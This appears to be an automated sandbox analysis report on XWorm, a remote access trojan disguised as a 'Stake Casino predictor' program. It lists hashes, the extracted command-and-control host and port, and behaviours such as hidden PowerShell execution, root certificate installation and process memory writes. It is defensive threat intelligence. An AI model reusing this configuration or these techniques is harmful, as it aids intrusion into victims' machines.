xworm | cdde0a99b6eb34272e471e7d68c7e201892d06f4bcec7254c1a60e89daf3a22c

Analysis

max time kernel
150s
max time network
141s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
27/05/2024, 22:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Stake-Casino-predictorV5.3/Stake-Casino-predictor.exe
Size 54KB
Sample240527-2frkascd61
SHA256 07f16c8bb008d15f80f4fef741996919ac162de9cc812d241d9d9c3d9b067acd
MD5 4f73159bd26afdc777d1b1da422bc12a
SHA1 f364d97a10464184d2e5916f27047888b9515ea1
SHA512 b968627bdfbf29f07049030373322952a4b9e4ce9b1b15bb0cd2b5513582e07388c8b3f07c8032b89d5aee436d5e1a948706753f83218c7184a699dacd6c60cc
SSDEEP 768:GQbC0Dhax7s4p5Yy4DN9UusKjQbXBgscI6BWMQtYcF2l1x6KPFn6f4KE:hbCdCJ9UxKjkxgscI6EM821xlPFn6AKE
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

powershellcmd.theworkpc.com:777

Mutex

eiI7RGGXHQuLHs34

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral7/memory/800-192-0x000001A2ECD00000-0x000001A2ECD12000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4672	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3984	render.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-05-27-22-32-24.etl	svchost.exe
File opened for modification	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-05-27-22-32-24.etl	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Local Settings	Stake-Casino-predictor.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Local Settings	powershell.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\743AF0529BD032A0F44A83CDD4BAA97B7C2EC49A	Stake-Casino-predictor.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\743AF0529BD032A0F44A83CDD4BAA97B7C2EC49A\Blob = 0f0000000100000020000000cf1152c4bfbd96b6d381b61e0c66e7a74b1185518120396449abe53aaadf640b5300000001000000850000003081823022060c2b0601040182a9300103010430123010060a2b0601040182373c0101030200c03022060c2b0601040182a9300103030230123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000005e000000530053004c002e0063006f006d00200045005600200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f0072006900740079002000520053004100200052003200000009000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000002e7bf16cc22485a7bbe2aa8696750761b0ae39be3b2fe9d0cc6d4ef73491425c140000000100000014000000f960bbd4e3d534f6b8f5068025a773db4669a89e1d000000010000001000000056073d58ce8c0d7b5056f74735db0b62030000000100000014000000743af0529bd032a0f44a83cdd4baa97b7c2ec49a2000000001000000ef050000308205eb308203d3a003020102020856b629cd34bc78f6300d06092a864886f70d01010b0500308182310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3137303506035504030c2e53534c2e636f6d20455620526f6f742043657274696669636174696f6e20417574686f7269747920525341205232301e170d3137303533313138313433375a170d3432303533303138313433375a308182310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3137303506035504030c2e53534c2e636f6d20455620526f6f742043657274696669636174696f6e20417574686f726974792052534120523230820222300d06092a864886f70d01010105000382020f003082020a02820201008f366540e1d64dc0d7b4e946da6bea3347cd4cf97d7dbebd2d3df0db78e186a5d9ba095768ed573ea0d0084183e72841241fe37215d0011afb5e7023b2cb9f39e3cfc54ec6926d26c67bbbb3da279d0a86e9813705fef07171ecc31ce963a217149def1b67d385550202d649c9cc5ae1b1f76f329fc9d43b8841a89cbdcbabdb6d7b091fa24c7290da2b08fccf3c54ce670fa8cf5d96190bc4e372ebadd17d1d27ef92eb10bf5beb3bafcf80ddc1d296045b7a7ea4a93c3876a4628ea0395eea77cf5d00598f662c3e07a2a30526116997ea85b70f960b4bc840e150ba2e8acbf70f9a22e77f9a3713cdf24d136b21d1c0cc22f2a146f644699cca613507006fd6610811eabab8f6e9b360e54db9ec9f1466c95758dbcd8769f88a86120347bf661376ac777d34248583cdd7aa9c901a9f212c7f78b764b8d8e8a6f478b355cb84d232c478aea38f61ddce0853adec88fc15e49a0de69f1a77ce4c8fb814153d629c863806006612e459765a53c00298a2102b68447b8e79ce334a76aa5b81161bb58ad8d0007b5e62b409d686630ea6059549ba288b8893b2341cd8a4556eb71cd0de99553b23f422e0f9296626ec205077db4a0b8fbee5026070415ed4ae5039221426cbb23b7374554707798139a8301344e5048aae961325420fb953c49bfccde41cde3cfaabd6064a1f67a698301cdd2cdbdc18955766c6ff5c8b56f5770203010001a3633061300f0603551d130101ff040530030101ff301f0603551d23041830168014f960bbd4e3d534f6b8f5068025a773db4669a89e301d0603551d0e04160414f960bbd4e3d534f6b8f5068025a773db4669a89e300e0603551d0f0101ff040403020186300d06092a864886f70d01010b0500038202010056b38ecb0a9d498ebfa4c491bb661705519875fbe5502c7a9ef114faabd38a3eff91298f638bd8b4a954010dbe93862ff94a6dc75ef557f9ca551c12be470f36c5df6ab7db75c247257fb9f163f8682d5504d1f28db0a4cfbc3c5e1f78e7a5a02070b004c5b7f772a7de220dbd3325468c649226e33e2e6396da9b8c3df81809d703cc7d8682e0ca04075150d7ff92d50cefda869f99d7ebb7af68e2392694ba68b7bf83d3ea7a673d6267ae25e572e8e2e4ecae12f64b2b3c9fe9b040f33854b3fdb768c8dac68f513cb2fb91dc1ce79b9de1b70d728fe2a4c4a978f9eb14acc64305c26539281802c382b29d05be65ed965f65743cfb09352e7b9c13fd1b0f5dc76d813a560fcc3be1af022f22ac46ca463ca01c4cd644b45e2e5c156609e12629fec65261bab173ffc30c9ce56c6a943f14ca40169584f359a9ac5f4c61936dd13bcca2950c22a66767442eb9d9d28a41b3660b5afb7d23a5f21ab0ffde9b83942ed13fdf92b791af053b65c7a06cb1cd6212c3901be325ce34bc6f7776b110c3f7051ac0d6af7462481777926990611cde958074548f181cc3f303d0bfa443758653187a0a2e091c369f91fd828a224bd10e5025ddcb030c17c98300084e354d8a8bedf00294662c447fcb95279617ad0930acb671176e8b17f61c09d42d3b98a571d35413d960f3f54b664ffaf1ee20128db4ac57b14563a1ac76a9c2fb	Stake-Casino-predictor.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\743AF0529BD032A0F44A83CDD4BAA97B7C2EC49A\Blob = 190000000100000010000000683f58e5528121a89cf21532e700535f030000000100000014000000743af0529bd032a0f44a83cdd4baa97b7c2ec49a1d000000010000001000000056073d58ce8c0d7b5056f74735db0b62140000000100000014000000f960bbd4e3d534f6b8f5068025a773db4669a89e6200000001000000200000002e7bf16cc22485a7bbe2aa8696750761b0ae39be3b2fe9d0cc6d4ef73491425c09000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703080b000000010000005e000000530053004c002e0063006f006d00200045005600200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900200052005300410020005200320000005300000001000000850000003081823022060c2b0601040182a9300103010430123010060a2b0601040182373c0101030200c03022060c2b0601040182a9300103030230123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000020000000cf1152c4bfbd96b6d381b61e0c66e7a74b1185518120396449abe53aaadf640b2000000001000000ef050000308205eb308203d3a003020102020856b629cd34bc78f6300d06092a864886f70d01010b0500308182310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3137303506035504030c2e53534c2e636f6d20455620526f6f742043657274696669636174696f6e20417574686f7269747920525341205232301e170d3137303533313138313433375a170d3432303533303138313433375a308182310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3137303506035504030c2e53534c2e636f6d20455620526f6f742043657274696669636174696f6e20417574686f726974792052534120523230820222300d06092a864886f70d01010105000382020f003082020a02820201008f366540e1d64dc0d7b4e946da6bea3347cd4cf97d7dbebd2d3df0db78e186a5d9ba095768ed573ea0d0084183e72841241fe37215d0011afb5e7023b2cb9f39e3cfc54ec6926d26c67bbbb3da279d0a86e9813705fef07171ecc31ce963a217149def1b67d385550202d649c9cc5ae1b1f76f329fc9d43b8841a89cbdcbabdb6d7b091fa24c7290da2b08fccf3c54ce670fa8cf5d96190bc4e372ebadd17d1d27ef92eb10bf5beb3bafcf80ddc1d296045b7a7ea4a93c3876a4628ea0395eea77cf5d00598f662c3e07a2a30526116997ea85b70f960b4bc840e150ba2e8acbf70f9a22e77f9a3713cdf24d136b21d1c0cc22f2a146f644699cca613507006fd6610811eabab8f6e9b360e54db9ec9f1466c95758dbcd8769f88a86120347bf661376ac777d34248583cdd7aa9c901a9f212c7f78b764b8d8e8a6f478b355cb84d232c478aea38f61ddce0853adec88fc15e49a0de69f1a77ce4c8fb814153d629c863806006612e459765a53c00298a2102b68447b8e79ce334a76aa5b81161bb58ad8d0007b5e62b409d686630ea6059549ba288b8893b2341cd8a4556eb71cd0de99553b23f422e0f9296626ec205077db4a0b8fbee5026070415ed4ae5039221426cbb23b7374554707798139a8301344e5048aae961325420fb953c49bfccde41cde3cfaabd6064a1f67a698301cdd2cdbdc18955766c6ff5c8b56f5770203010001a3633061300f0603551d130101ff040530030101ff301f0603551d23041830168014f960bbd4e3d534f6b8f5068025a773db4669a89e301d0603551d0e04160414f960bbd4e3d534f6b8f5068025a773db4669a89e300e0603551d0f0101ff040403020186300d06092a864886f70d01010b0500038202010056b38ecb0a9d498ebfa4c491bb661705519875fbe5502c7a9ef114faabd38a3eff91298f638bd8b4a954010dbe93862ff94a6dc75ef557f9ca551c12be470f36c5df6ab7db75c247257fb9f163f8682d5504d1f28db0a4cfbc3c5e1f78e7a5a02070b004c5b7f772a7de220dbd3325468c649226e33e2e6396da9b8c3df81809d703cc7d8682e0ca04075150d7ff92d50cefda869f99d7ebb7af68e2392694ba68b7bf83d3ea7a673d6267ae25e572e8e2e4ecae12f64b2b3c9fe9b040f33854b3fdb768c8dac68f513cb2fb91dc1ce79b9de1b70d728fe2a4c4a978f9eb14acc64305c26539281802c382b29d05be65ed965f65743cfb09352e7b9c13fd1b0f5dc76d813a560fcc3be1af022f22ac46ca463ca01c4cd644b45e2e5c156609e12629fec65261bab173ffc30c9ce56c6a943f14ca40169584f359a9ac5f4c61936dd13bcca2950c22a66767442eb9d9d28a41b3660b5afb7d23a5f21ab0ffde9b83942ed13fdf92b791af053b65c7a06cb1cd6212c3901be325ce34bc6f7776b110c3f7051ac0d6af7462481777926990611cde958074548f181cc3f303d0bfa443758653187a0a2e091c369f91fd828a224bd10e5025ddcb030c17c98300084e354d8a8bedf00294662c447fcb95279617ad0930acb671176e8b17f61c09d42d3b98a571d35413d960f3f54b664ffaf1ee20128db4ac57b14563a1ac76a9c2fb	Stake-Casino-predictor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB	Stake-Casino-predictor.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob = 0f0000000100000020000000489ff6233f3d3c5da77604be230745657fe488cb05257da551bfd64c1f179e720b0000000100000052000000530053004c002e0063006f006d00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f0072006900740079002000520053004100000009000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b0601050507030862000000010000002000000085666a562ee0be5ce925c1d8890a6f76a87ec16d4d7d5f29ea7419cf20123b69140000000100000014000000dd040907a2f57a7d5253129295ee3880250da6591d00000001000000100000000d48ee33d7f1af8f4b002527f82a344a030000000100000014000000b7ab3308d1ea4477ba1480125a6fbda936490cbb2000000001000000e1050000308205dd308203c5a00302010202087b2c9bd316803299300d06092a864886f70d01010b0500307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f7269747920525341301e170d3136303231323137333933395a170d3431303231323137333933395a307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f726974792052534130820222300d06092a864886f70d01010105000382020f003082020a0282020100f90fdda32b7dcbd02afeec6785a6e72e1bba77e1e3f5afa4ecfa4a5d91c457476b18776b76f2fd93e43d0fc2169e0b66c356949e178385ce56eff216fd0062f5220954e865174e41b9e04f4697aa1bc8b86e625e69b15fdb2a027efc6ccaf341d8edd0e8fc3f6148edb003141d100e4b19e0bb4eec8665ff36f35e67020b9d865561fd7a38edfee21900b76fa1506275743ca0fac82592b46e7a22c7f81ea1e3b2dd9131ab2b1d04ffa54a0437e985a4332bfde2d655347c19a44a68c7b2a8d3b7caa19388ebc197bc8cf91dd922842474c7043d6aa92993ccebb85be1fe5f25aa3458c8c123549d1b9811c3389c7e3d866ca50f40867c02f45c024f28cbae719f0f3ac833fe112535eafcbac5603dd97c18d5b2a9d37578037222ca3ac31fef2ce52ea9fa9e2cb65146fdaf03d6ea6068ea8516366b85e91ec0b3ddc424dc802a81416d943ec8e0c98141009e5ebf7fc50898a2182c4240b3f96f38274b4e80f43d8147e0887cea1cceb5755c512e1c2b7f1a7228e700b5d174c6d7e49fad0793b6533535fc37e4c3f65d16be2173de920af8a0636abc96926a3ef8bc65559bdef50d892604fc251aa62569cbc26dca7ce2595f97acebef2ec8bcd71b593c2bccf219c8936b276319cffce926f8ca719b7f93fe3467844e99ebfcb378093370ba66a676ed1b73eb1aa50dc422132094560a4e2c6c4eb1fdcf9c09baa233ed870203010001a3633061301d0603551d0e04160414dd040907a2f57a7d5253129295ee3880250da659300f0603551d130101ff040530030101ff301f0603551d23041830168014dd040907a2f57a7d5253129295ee3880250da659300e0603551d0f0101ff040403020186300d06092a864886f70d01010b050003820201002018119429fb269d1c1e1e7061f19572937124ad6893588e32af1bb37003fc252b7485903d786af4b98ba5973bb51891bb1ea7f9405b91f95599af1e11d05c1da766e3b194070c3239a6ea1bb079d81d9c7044e38addc4f9951f8a38433f0185a547a73d46b2bce52268f77b9cd82c3e0a21c82d33acbfc581993174c17571c5beb1f02345f49d6bfc19639da3bc04c6180b25bb53890fb38050de45ee447fab94786498d3f628dd87d8706574fb0eb913eba70f61a93296ccdebbed634c18bba940f7a0546e2088717518ea7ab43472e02327775cb690ea862540abef330fcb9f82bea220fbf6b52d1ae6c285b1740ffbc86502a4520147dd4922c1bfd8eb6bac7edeec633315b723088fc60f8d415add8ec5b98fe5453f78dbbad21b40b1fe714d3fe081a2ba5eb4ec15e093dd081f7ee155990b21de939e0afbe6a349bd3630fee777b2a07597b52d8188176520f7da90009fc952cc32ca357cf53d0fd82bd7f5266cc906349616ea70591a3279790bb6887f0f52483dbf6cd8a2442ed14eb77258d3891395fe44abf8d78b1b6e9cbc2ca05bd56a00af5f37e1d5fa100b989c86e7268fcef0ec6e8a570b80e34eb2c0a0636190ba556837746ab692db9fa18622b665270eecb69f4260e467c2b5da410bc4d38b611bbcfa1f912bd744075eba29acd9c5e9ef53485aeb80f1285821cdb00655fb273f539070a9041e5727b9	Stake-Casino-predictor.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob = 190000000100000010000000787d09f953c59978ecd8d6e44b38e24f030000000100000014000000b7ab3308d1ea4477ba1480125a6fbda936490cbb1d00000001000000100000000d48ee33d7f1af8f4b002527f82a344a140000000100000014000000dd040907a2f57a7d5253129295ee3880250da65962000000010000002000000085666a562ee0be5ce925c1d8890a6f76a87ec16d4d7d5f29ea7419cf20123b6909000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703080b0000000100000052000000530053004c002e0063006f006d00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900200052005300410000000f0000000100000020000000489ff6233f3d3c5da77604be230745657fe488cb05257da551bfd64c1f179e722000000001000000e1050000308205dd308203c5a00302010202087b2c9bd316803299300d06092a864886f70d01010b0500307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f7269747920525341301e170d3136303231323137333933395a170d3431303231323137333933395a307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f726974792052534130820222300d06092a864886f70d01010105000382020f003082020a0282020100f90fdda32b7dcbd02afeec6785a6e72e1bba77e1e3f5afa4ecfa4a5d91c457476b18776b76f2fd93e43d0fc2169e0b66c356949e178385ce56eff216fd0062f5220954e865174e41b9e04f4697aa1bc8b86e625e69b15fdb2a027efc6ccaf341d8edd0e8fc3f6148edb003141d100e4b19e0bb4eec8665ff36f35e67020b9d865561fd7a38edfee21900b76fa1506275743ca0fac82592b46e7a22c7f81ea1e3b2dd9131ab2b1d04ffa54a0437e985a4332bfde2d655347c19a44a68c7b2a8d3b7caa19388ebc197bc8cf91dd922842474c7043d6aa92993ccebb85be1fe5f25aa3458c8c123549d1b9811c3389c7e3d866ca50f40867c02f45c024f28cbae719f0f3ac833fe112535eafcbac5603dd97c18d5b2a9d37578037222ca3ac31fef2ce52ea9fa9e2cb65146fdaf03d6ea6068ea8516366b85e91ec0b3ddc424dc802a81416d943ec8e0c98141009e5ebf7fc50898a2182c4240b3f96f38274b4e80f43d8147e0887cea1cceb5755c512e1c2b7f1a7228e700b5d174c6d7e49fad0793b6533535fc37e4c3f65d16be2173de920af8a0636abc96926a3ef8bc65559bdef50d892604fc251aa62569cbc26dca7ce2595f97acebef2ec8bcd71b593c2bccf219c8936b276319cffce926f8ca719b7f93fe3467844e99ebfcb378093370ba66a676ed1b73eb1aa50dc422132094560a4e2c6c4eb1fdcf9c09baa233ed870203010001a3633061301d0603551d0e04160414dd040907a2f57a7d5253129295ee3880250da659300f0603551d130101ff040530030101ff301f0603551d23041830168014dd040907a2f57a7d5253129295ee3880250da659300e0603551d0f0101ff040403020186300d06092a864886f70d01010b050003820201002018119429fb269d1c1e1e7061f19572937124ad6893588e32af1bb37003fc252b7485903d786af4b98ba5973bb51891bb1ea7f9405b91f95599af1e11d05c1da766e3b194070c3239a6ea1bb079d81d9c7044e38addc4f9951f8a38433f0185a547a73d46b2bce52268f77b9cd82c3e0a21c82d33acbfc581993174c17571c5beb1f02345f49d6bfc19639da3bc04c6180b25bb53890fb38050de45ee447fab94786498d3f628dd87d8706574fb0eb913eba70f61a93296ccdebbed634c18bba940f7a0546e2088717518ea7ab43472e02327775cb690ea862540abef330fcb9f82bea220fbf6b52d1ae6c285b1740ffbc86502a4520147dd4922c1bfd8eb6bac7edeec633315b723088fc60f8d415add8ec5b98fe5453f78dbbad21b40b1fe714d3fe081a2ba5eb4ec15e093dd081f7ee155990b21de939e0afbe6a349bd3630fee777b2a07597b52d8188176520f7da90009fc952cc32ca357cf53d0fd82bd7f5266cc906349616ea70591a3279790bb6887f0f52483dbf6cd8a2442ed14eb77258d3891395fe44abf8d78b1b6e9cbc2ca05bd56a00af5f37e1d5fa100b989c86e7268fcef0ec6e8a570b80e34eb2c0a0636190ba556837746ab692db9fa18622b665270eecb69f4260e467c2b5da410bc4d38b611bbcfa1f912bd744075eba29acd9c5e9ef53485aeb80f1285821cdb00655fb273f539070a9041e5727b9	Stake-Casino-predictor.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2368	Stake-Casino-predictor.exe
2368	Stake-Casino-predictor.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	Stake-Casino-predictor.exe
Token: SeIncreaseQuotaPrivilege	2368	Stake-Casino-predictor.exe
Token: SeSecurityPrivilege	2368	Stake-Casino-predictor.exe
Token: SeTakeOwnershipPrivilege	2368	Stake-Casino-predictor.exe
Token: SeLoadDriverPrivilege	2368	Stake-Casino-predictor.exe
Token: SeSystemProfilePrivilege	2368	Stake-Casino-predictor.exe
Token: SeSystemtimePrivilege	2368	Stake-Casino-predictor.exe
Token: SeProfSingleProcessPrivilege	2368	Stake-Casino-predictor.exe
Token: SeIncBasePriorityPrivilege	2368	Stake-Casino-predictor.exe
Token: SeCreatePagefilePrivilege	2368	Stake-Casino-predictor.exe
Token: SeBackupPrivilege	2368	Stake-Casino-predictor.exe
Token: SeRestorePrivilege	2368	Stake-Casino-predictor.exe
Token: SeShutdownPrivilege	2368	Stake-Casino-predictor.exe
Token: SeDebugPrivilege	2368	Stake-Casino-predictor.exe
Token: SeSystemEnvironmentPrivilege	2368	Stake-Casino-predictor.exe
Token: SeRemoteShutdownPrivilege	2368	Stake-Casino-predictor.exe
Token: SeUndockPrivilege	2368	Stake-Casino-predictor.exe
Token: SeManageVolumePrivilege	2368	Stake-Casino-predictor.exe
Token: 33	2368	Stake-Casino-predictor.exe
Token: 34	2368	Stake-Casino-predictor.exe
Token: 35	2368	Stake-Casino-predictor.exe
Token: 36	2368	Stake-Casino-predictor.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe
Token: 35	4672	powershell.exe
Token: 36	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
800	powershell.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 4944	2368	Stake-Casino-predictor.exe	75
PID 2368 wrote to memory of 4944	2368	Stake-Casino-predictor.exe	75
PID 2368 wrote to memory of 3984	2368	Stake-Casino-predictor.exe	77
PID 2368 wrote to memory of 3984	2368	Stake-Casino-predictor.exe	77
PID 4944 wrote to memory of 2624	4944	cmd.exe	79
PID 4944 wrote to memory of 2624	4944	cmd.exe	79
PID 4944 wrote to memory of 1540	4944	cmd.exe	80
PID 4944 wrote to memory of 1540	4944	cmd.exe	80
PID 1540 wrote to memory of 4672	1540	powershell.exe	81
PID 1540 wrote to memory of 4672	1540	powershell.exe	81
PID 1540 wrote to memory of 2648	1540	powershell.exe	84
PID 1540 wrote to memory of 2648	1540	powershell.exe	84
PID 2648 wrote to memory of 4900	2648	WScript.exe	85
PID 2648 wrote to memory of 4900	2648	WScript.exe	85
PID 4900 wrote to memory of 2140	4900	cmd.exe	87
PID 4900 wrote to memory of 2140	4900	cmd.exe	87
PID 4900 wrote to memory of 800	4900	cmd.exe	88
PID 4900 wrote to memory of 800	4900	cmd.exe	88
PID 800 wrote to memory of 3128	800	powershell.exe	53
PID 800 wrote to memory of 1180	800	powershell.exe	21
PID 800 wrote to memory of 380	800	powershell.exe	17
PID 800 wrote to memory of 1560	800	powershell.exe	29
PID 800 wrote to memory of 2924	800	powershell.exe	52
PID 800 wrote to memory of 1732	800	powershell.exe	33
PID 800 wrote to memory of 1528	800	powershell.exe	28
PID 800 wrote to memory of 1724	800	powershell.exe	32
PID 800 wrote to memory of 2708	800	powershell.exe	50
PID 800 wrote to memory of 736	800	powershell.exe	10
PID 800 wrote to memory of 2692	800	powershell.exe	49
PID 800 wrote to memory of 1112	800	powershell.exe	20
PID 800 wrote to memory of 2684	800	powershell.exe	48
PID 800 wrote to memory of 1452	800	powershell.exe	27
PID 800 wrote to memory of 2316	800	powershell.exe	65
PID 800 wrote to memory of 616	800	powershell.exe	16
PID 800 wrote to memory of 896	800	powershell.exe	13
PID 800 wrote to memory of 1864	800	powershell.exe	36
PID 800 wrote to memory of 484	800	powershell.exe	15
PID 800 wrote to memory of 1068	800	powershell.exe	19
PID 800 wrote to memory of 2640	800	powershell.exe	47
PID 800 wrote to memory of 2472	800	powershell.exe	44
PID 800 wrote to memory of 1848	800	powershell.exe	35
PID 800 wrote to memory of 2240	800	powershell.exe	39
PID 800 wrote to memory of 3420	800	powershell.exe	63
PID 800 wrote to memory of 1252	800	powershell.exe	24
PID 800 wrote to memory of 4600	800	powershell.exe	60
